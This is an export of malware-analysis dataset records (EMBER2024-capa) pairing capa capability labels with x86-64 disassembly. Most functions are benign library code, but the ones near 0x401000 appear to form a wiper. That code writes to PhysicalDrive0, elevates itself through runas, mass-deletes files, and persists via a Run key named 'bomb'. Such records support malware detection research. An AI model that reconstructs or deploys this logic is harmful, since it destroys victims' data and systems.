joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001c1a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x5c20], 0
lea rbx, [rcx + 0x5c28]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x18001c247
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x18001c1fa
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.18001e1a0
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.180007bd0
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x5c20]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x5c30]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x180628f28]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x18001c24f
mov rcx, rbx
call fcn.180007bd0
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x18001c690
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x180628f30]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x18001c6f3
mov qword [rsp], rbx
lea rbx, [0x1800c8cf0]
nop dword [rax]
cmp r9b, 0x23
jne 0x18001c6d3
cmp byte [r8], r9b
jne 0x18001c6d3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x18001c6c0
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5b98]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x18001c727
mov r10, qword [r10 + 0x5ba0]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x18001c72e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x18001c714
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x18002a4f0
Capabilities:
Hash data using fnv

Disassembly:
movss dword [rsp + 0x10], xmm1
sub rsp, 0x28
xorps xmm0, xmm0
mov r9, rcx
ucomiss xmm1, xmm0
jp 0x18002a507
je 0x18002a50a
movaps xmm0, xmm1
movd edx, xmm0
movabs r10, 0x100000001b3
movabs rcx, 0xcbf29ce484222325
mov eax, edx
shr eax, 8
movzx r8d, al
movzx eax, dl
xor rax, rcx
imul rax, r10
xor r8, rax
mov eax, edx
imul r8, r10
shr eax, 0x10
movzx ecx, al
xor r8, rcx
mov eax, edx
mov rcx, qword [r9 + 0x40]
mov rdx, qword [r9 + 0x18]
imul r8, r10
shr rax, 0x18
xor r8, rax
imul r8, r10
and rcx, r8
mov r8, qword [r9 + 0x28]
add rcx, rcx
mov rax, qword [r8 + rcx*8 + 8]
cmp rax, rdx
je 0x18002a58b
mov rcx, qword [r8 + rcx*8]
ucomiss xmm1, dword [rax + 0x10]
jp 0x18002a580
je 0x18002a58d
cmp rax, rcx
je 0x18002a58b
mov rax, qword [rax + 8]
jmp 0x18002a578
xor eax, eax
test rax, rax
cmove rax, rdx
cmp rax, rdx
jne 0x18002a5eb
mov rcx, qword [r9 + 0x58]
mov rax, qword [r9 + 0x50]
cmp rax, rcx
je 0x18002a5ba
movss xmm0, dword [rax]
ucomiss xmm0, xmm1
jp 0x18002a5b1
je 0x18002a5e4
add rax, 4
cmp rax, rcx
jne 0x18002a5a6
mov rdx, rcx
cmp rcx, qword [r9 + 0x60]
je 0x18002a5d6
lea rax, [rcx + 4]
movss dword [rcx], xmm1
mov qword [r9 + 0x58], rax
xor eax, eax
add rsp, 0x28
ret
lea r8, [rsp + 0x38]
lea rcx, [r9 + 0x50]
call fcn.180033cb0
xor eax, eax
add rsp, 0x28
ret
mov rax, qword [rax + 0x18]
add rsp, 0x28
ret
Function at 0x180034730
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x180034761
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x180629e98]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x180629ea8]
lea rdx, [rdi + rdi]
call fcn.180033b70
mov rax, qword [0x180629e98]
lea r9, [rdi - 1]
mov qword [0x180629ec0], r9
mov qword [0x180629ec8], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x1800348d4
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x180629ea8]
mov r9, qword [r11]
cmp r9, rbx
jne 0x180034820
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x180034895
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x18003485d
mov r10, qword [rdx]
cmp r10, rax
je 0x180034857
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x180034895
cmp r9, rdx
je 0x180034871
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x1800348a9
cmp r9, rdx
jne 0x180034862
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x1800348cf
mov r9, qword [0x180629ec0]
jmp 0x1800347d1
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180034895
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180039800
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x180039831
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x180629fb8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x180629fc8]
lea rdx, [rdi + rdi]
call fcn.180033b70
mov rax, qword [0x180629fb8]
lea r9, [rdi - 1]
mov qword [0x180629fe0], r9
mov qword [0x180629fe8], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x1800399a4
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x180629fc8]
mov r9, qword [r11]
cmp r9, rbx
jne 0x1800398f0
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x180039965
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x18003992d
mov r10, qword [rdx]
cmp r10, rax
je 0x180039927
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x180039965
cmp r9, rdx
je 0x180039941
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x180039979
cmp r9, rdx
jne 0x180039932
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x18003999f
mov r9, qword [0x180629fe0]
jmp 0x1800398a1
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180039965
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180039b60
Capabilities:
Hash data using fnv

Disassembly:
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x180039b91
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x180629f78]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x180629f88]
lea rdx, [rdi + rdi]
call fcn.180033b70
mov rax, qword [0x180629f78]
lea r9, [rdi - 1]
mov qword [0x180629fa0], r9
mov qword [0x180629fa8], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x180039d04
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x180629f88]
mov r9, qword [r11]
cmp r9, rbx
jne 0x180039c50
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x180039cc5
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x180039c8d
mov r10, qword [rdx]
cmp r10, rax
je 0x180039c87
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x180039cc5
cmp r9, rdx
je 0x180039ca1
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x180039cd9
cmp r9, rdx
jne 0x180039c92
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x180039cff
mov r9, qword [0x180629fa0]
jmp 0x180039c01
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180039cc5
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1800412c0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
jne 0x1800412f1
xor eax, eax
lea r8, [0x180040640]
mov r9, rcx
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
add rsp, 0x38
ret

Function at 0x180042ec0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1803cf040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x180042f93
cmp byte [rcx + 0x71], 0
je 0x180042f93
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x180042f8f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180042f54
sub eax, 1
je 0x180042f58
cmp eax, 2
jne 0x180042f8f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180045890
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x180042f86
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x180042f8f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x180042f3c
xor al, al
jmp 0x180042f3c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180045890
add rsp, 0x60
pop rbx
ret
Function at 0x180044670
Capabilities:
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x38
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov edi, 1
mov eax, edi
shl rax, cl
cmp rdx, rax
jbe 0x1800446a5
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x60], rbx
mov rbx, qword [rsi + 8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
mov qword [rsp + 0x28], r14
inc ecx
shl rdi, cl
lea rcx, [rsi + 0x18]
lea rdx, [rdi + rdi]
call fcn.18001f040
lea rax, [rdi - 1]
mov qword [rsi + 0x38], rdi
mov qword [rsi + 0x30], rax
mov rax, qword [rsi + 8]
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x18004481d
mov qword [rsp + 0x30], rbp
xorps xmm2, xmm2
mov qword [rsp + 0x20], r15
movabs rbp, 0x100000001b3
movabs r15, 0xcbf29ce484222325
movss xmm0, dword [rax + 0x10]
ucomiss xmm0, xmm2
mov rcx, qword [rcx]
jp 0x180044727
jne 0x180044727
movaps xmm1, xmm2
jmp 0x18004472a
movaps xmm1, xmm0
mov r11, qword [rsi + 0x30]
mov rdi, qword [rsi + 0x18]
movd r9d, xmm1
mov edx, r9d
shr edx, 8
movzx r10d, dl
movzx edx, r9b
xor rdx, r15
imul rdx, rbp
xor r10, rdx
mov edx, r9d
imul r10, rbp
shr edx, 0x10
movzx r8d, dl
xor r10, r8
mov edx, r9d
imul r10, rbp
shr rdx, 0x18
xor r10, rdx
imul r10, rbp
and r11, r10
add r11, r11
mov rdx, qword [rdi + r11*8]
cmp rdx, rbx
jne 0x18004478c
mov qword [rdi + r11*8], rax
mov qword [rdi + r11*8 + 8], rax
jmp 0x180044807
mov r10, qword [rdi + r11*8 + 8]
ucomiss xmm0, dword [r10 + 0x10]
jp 0x1800447ca
jne 0x1800447ca
mov r10, qword [r10]
cmp r10, rax
je 0x1800447c3
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [rdi + r11*8 + 8], rax
jmp 0x180044807
cmp rdx, r10
je 0x1800447e2
nop
mov r10, qword [r10 + 8]
ucomiss xmm0, dword [r10 + 0x10]
jp 0x1800447dd
je 0x18004482e
cmp rdx, r10
jne 0x1800447d0
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [rdi + r11*8], rax
mov rax, rcx
cmp rcx, rbx
jne 0x180044713
mov r15, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x60]
mov r14, qword [rsp + 0x28]
add rsp, 0x38
pop rdi
pop rsi
ret
mov r10, qword [r10]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180044807
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
call fcn.004012a1
call fcn.004011f9
call 0x40101e
call 0x4010db
call 0x40112b
call fcn.0040128a
movabs rdi, str.log.txt
mov esi, 0x40000000
mov edx, 1
xor rcx, rcx
mov r8d, 2
xor r9, r9
call sub.KERNEL32.dll_CreateFileW
cmp rax, 0xffffffffffffffff
je 0x401077
mov qword [0x4025ee], rax
mov rdi, qword [0x4025ee]
movabs rsi, str.Operation_successful_r_n
mov edx, 0x14
lea rcx, [0x402608]
call sub.KERNEL32.dll_WriteFile
jmp entry0
mov edi, 1
call sub.KERNEL32.dll_ExitProcess
lea rdi, str..PhysicalDrive0
mov ecx, 0x80000000
or rcx, 0x40000000
or rcx, 0x20000000
mov edx, 3
mov r8d, 0
mov r9d, 3
call sub.KERNEL32.dll_CreateFileW
test rax, rax
js 0x4010d6
mov rdi, rax
lea rsi, [0x4022d2]
mov ecx, 0x200
call sub.KERNEL32.dll_ReadFile
call sub.KERNEL32.dll_WriteFile
call sub.KERNEL32.dll_CloseHandle
call sub.KERNEL32.dll_ExitProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov rdi, rax
mov eax, 8
call sub.KERNEL32.dll_OpenProcessToken
mov rbx, rax
mov rdi, rbx
xor rax, rax
call sub.ADVAPI32.dll_CheckTokenMembership
test al, al
je 0x401104
jmp entry0
lea rsi, [0x402187]
lea rdi, str.runas
mov eax, 0
call sub.SHELL32.dll_ShellExecuteW
mov eax, 0x60
xor rdi, rdi
call sub.KERNEL32.dll_ExitProcess
mov rax, 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
mov rdi, rax
lea rsi, section..data
call sub.KERNEL32.dll_FindFirstFileW
mov qword [0x4025fe], rax
test rax, rax
js 0x401310
lea rsi, [0x40260c]
call sub.KERNEL32.dll_FindNextFileW
test rax, rax
je 0x4011d0
lea rsi, [0x402618]
mov rbx, rdi
call sub.KERNEL32.dll_lstrlenW
mov rdx, rax
lea rsi, [0x402004]
call 0x4011dd
lea rsi, [0x402004]
call sub.KERNEL32.dll_DeleteFileW
test rax, rax
je 0x4011b2
lea rsi, [0x402004]
call sub.KERNEL32.dll_RemoveDirectoryW
test rax, rax
je 0x4011c1
jmp 0x401158
lea rsi, str.Error_deleting_file
call sub.KERNEL32.dll_WriteFile
jmp 0x401158
lea rsi, str.Error_deleting_directory
call sub.KERNEL32.dll_WriteFile
jmp 0x401158
lea rsi, [0x4025fe]
call sub.KERNEL32.dll_FindClose
push rbx
push rdx
mov rbx, rsi
mov rdx, rdi
mov al, byte [rbx]
mov byte [rdx], al
test al, al
je 0x40134d
inc rbx
inc rdx
jmp 0x4011e5
pop rdx
pop rbx
ret
Function at 0x40101e
Capabilities:
Write file on windows

Disassembly:
call fcn.004012a1
call fcn.004011f9
call 0x40101e
call 0x4010db
call 0x40112b
call fcn.0040128a
movabs rdi, str.log.txt
mov esi, 0x40000000
mov edx, 1
xor rcx, rcx
mov r8d, 2
xor r9, r9
call sub.KERNEL32.dll_CreateFileW
cmp rax, 0xffffffffffffffff
je 0x401077
mov qword [0x4025ee], rax
mov rdi, qword [0x4025ee]
movabs rsi, str.Operation_successful_r_n
mov edx, 0x14
lea rcx, [0x402608]
call sub.KERNEL32.dll_WriteFile
jmp entry0
mov edi, 1
call sub.KERNEL32.dll_ExitProcess
lea rdi, str..PhysicalDrive0
mov ecx, 0x80000000
or rcx, 0x40000000
or rcx, 0x20000000
mov edx, 3
mov r8d, 0
mov r9d, 3
call sub.KERNEL32.dll_CreateFileW
test rax, rax
js 0x4010d6
mov rdi, rax
lea rsi, [0x4022d2]
mov ecx, 0x200
call sub.KERNEL32.dll_ReadFile
call sub.KERNEL32.dll_WriteFile
call sub.KERNEL32.dll_CloseHandle
call sub.KERNEL32.dll_ExitProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov rdi, rax
mov eax, 8
call sub.KERNEL32.dll_OpenProcessToken
mov rbx, rax
mov rdi, rbx
xor rax, rax
call sub.ADVAPI32.dll_CheckTokenMembership
test al, al
je 0x401104
jmp entry0
lea rsi, [0x402187]
lea rdi, str.runas
mov eax, 0
call sub.SHELL32.dll_ShellExecuteW
mov eax, 0x60
xor rdi, rdi
call sub.KERNEL32.dll_ExitProcess
mov rax, 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
mov rdi, rax
lea rsi, section..data
call sub.KERNEL32.dll_FindFirstFileW
mov qword [0x4025fe], rax
test rax, rax
js 0x401310
lea rsi, [0x40260c]
call sub.KERNEL32.dll_FindNextFileW
test rax, rax
je 0x4011d0
lea rsi, [0x402618]
mov rbx, rdi
call sub.KERNEL32.dll_lstrlenW
mov rdx, rax
lea rsi, [0x402004]
call 0x4011dd
lea rsi, [0x402004]
call sub.KERNEL32.dll_DeleteFileW
test rax, rax
je 0x4011b2
lea rsi, [0x402004]
call sub.KERNEL32.dll_RemoveDirectoryW
test rax, rax
je 0x4011c1
jmp 0x401158
lea rsi, str.Error_deleting_file
call sub.KERNEL32.dll_WriteFile
jmp 0x401158
lea rsi, str.Error_deleting_directory
call sub.KERNEL32.dll_WriteFile
jmp 0x401158
lea rsi, [0x4025fe]
call sub.KERNEL32.dll_FindClose
push rbx
push rdx
mov rbx, rsi
mov rdx, rdi
mov al, byte [rbx]
mov byte [rdx], al
test al, al
je 0x40134d
inc rbx
inc rdx
jmp 0x4011e5
pop rdx
pop rbx
ret
Function at 0x4010db
Capabilities:
Create process on windows
Get token membership
Write and execute a file
Write file on windows

Disassembly:
call fcn.004012a1
call fcn.004011f9
call 0x40101e
call 0x4010db
call 0x40112b
call fcn.0040128a
movabs rdi, str.log.txt
mov esi, 0x40000000
mov edx, 1
xor rcx, rcx
mov r8d, 2
xor r9, r9
call sub.KERNEL32.dll_CreateFileW
cmp rax, 0xffffffffffffffff
je 0x401077
mov qword [0x4025ee], rax
mov rdi, qword [0x4025ee]
movabs rsi, str.Operation_successful_r_n
mov edx, 0x14
lea rcx, [0x402608]
call sub.KERNEL32.dll_WriteFile
jmp entry0
mov edi, 1
call sub.KERNEL32.dll_ExitProcess
lea rdi, str..PhysicalDrive0
mov ecx, 0x80000000
or rcx, 0x40000000
or rcx, 0x20000000
mov edx, 3
mov r8d, 0
mov r9d, 3
call sub.KERNEL32.dll_CreateFileW
test rax, rax
js 0x4010d6
mov rdi, rax
lea rsi, [0x4022d2]
mov ecx, 0x200
call sub.KERNEL32.dll_ReadFile
call sub.KERNEL32.dll_WriteFile
call sub.KERNEL32.dll_CloseHandle
call sub.KERNEL32.dll_ExitProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov rdi, rax
mov eax, 8
call sub.KERNEL32.dll_OpenProcessToken
mov rbx, rax
mov rdi, rbx
xor rax, rax
call sub.ADVAPI32.dll_CheckTokenMembership
test al, al
je 0x401104
jmp entry0
lea rsi, [0x402187]
lea rdi, str.runas
mov eax, 0
call sub.SHELL32.dll_ShellExecuteW
mov eax, 0x60
xor rdi, rdi
call sub.KERNEL32.dll_ExitProcess
mov rax, 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
mov rdi, rax
lea rsi, section..data
call sub.KERNEL32.dll_FindFirstFileW
mov qword [0x4025fe], rax
test rax, rax
js 0x401310
lea rsi, [0x40260c]
call sub.KERNEL32.dll_FindNextFileW
test rax, rax
je 0x4011d0
lea rsi, [0x402618]
mov rbx, rdi
call sub.KERNEL32.dll_lstrlenW
mov rdx, rax
lea rsi, [0x402004]
call 0x4011dd
lea rsi, [0x402004]
call sub.KERNEL32.dll_DeleteFileW
test rax, rax
je 0x4011b2
lea rsi, [0x402004]
call sub.KERNEL32.dll_RemoveDirectoryW
test rax, rax
je 0x4011c1
jmp 0x401158
lea rsi, str.Error_deleting_file
call sub.KERNEL32.dll_WriteFile
jmp 0x401158
lea rsi, str.Error_deleting_directory
call sub.KERNEL32.dll_WriteFile
jmp 0x401158
lea rsi, [0x4025fe]
call sub.KERNEL32.dll_FindClose
push rbx
push rdx
mov rbx, rsi
mov rdx, rdi
mov al, byte [rbx]
mov byte [rdx], al
test al, al
je 0x40134d
inc rbx
inc rdx
jmp 0x4011e5
pop rdx
pop rbx
ret

Function at 0x4011f9
Capabilities:
Delete file
Delete registry key
Enumerate files on windows
Persist via run registry key
Set registry value

Disassembly:
mov dword [0x402531], 0x9c
lea rdi, [0x402531]
call sub.KERNEL32.dll_GetVersionExA
mov rax, 0xfffffffffffffff5
call sub.KERNEL32.dll_GetStdHandle
mov qword [0x4025f6], rax
lea rdi, [0x4024ed]
call fcn.00401350
mov eax, dword [0x402535]
call fcn.0040136f
lea rdi, [0x40252e]
call fcn.00401350
lea rdi, str.Minor_Version:
call fcn.00401350
mov eax, dword [0x402539]
call fcn.0040136f
lea rdi, [0x40252e]
call fcn.00401350
lea rdi, str.Build_Number:
call fcn.00401350
mov eax, dword [0x40253d]
call fcn.0040136f
Function at 0x40128a
Capabilities:
Delete file
Delete registry key
Enumerate files on windows
Persist via run registry key
Set registry value

Disassembly:
mov edi, 0x80000001
lea rsi, str.ComputerHKEY_LOCAL_MACHINEWindows_version:
call sub.ADVAPI32.dll_RegDeleteKeyA
test rax, rax
je 0x401303
lea rdi, str.Startup_entry_was_created.
call fcn.004013b4
mov eax, 0x3c
xor rdi, rdi
syscall

Function at 0x4012a1
Capabilities:
Delete file
Enumerate files on windows
Persist via run registry key
Set registry value

Disassembly:
xor rdi, rdi
lea rsi, [0x402187]
mov edx, 0x104
call sub.KERNEL32.dll_GetModuleFileNameA
mov edi, 0x80000001
lea rsi, str.SoftwareMicrosoftWindowsCurrentVersionRun
call sub.KERNEL32.dll_RegOpenKeyExA
test rax, rax
jne 0x4012f4
lea rdi, str.bomb
lea rsi, [0x402187]
call sub.KERNEL32.dll_RegSetValueExA
test rax, rax
je 0x401303
lea rdi, section..data
call fcn.0040131a
lea rdi, str.Startup_entry_failed.
call fcn.004013b4
jmp 0x401310
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1406eed20]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x1406eed30]
mov dword [rax], 1
mov rax, qword [0x1406eed40]
mov dword [rax], 1
mov rax, qword [0x1406eeca0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1406eed10]
mov dword [0x1406f600c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1406eedf0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1406eedd0]
mov edx, dword [rdx]
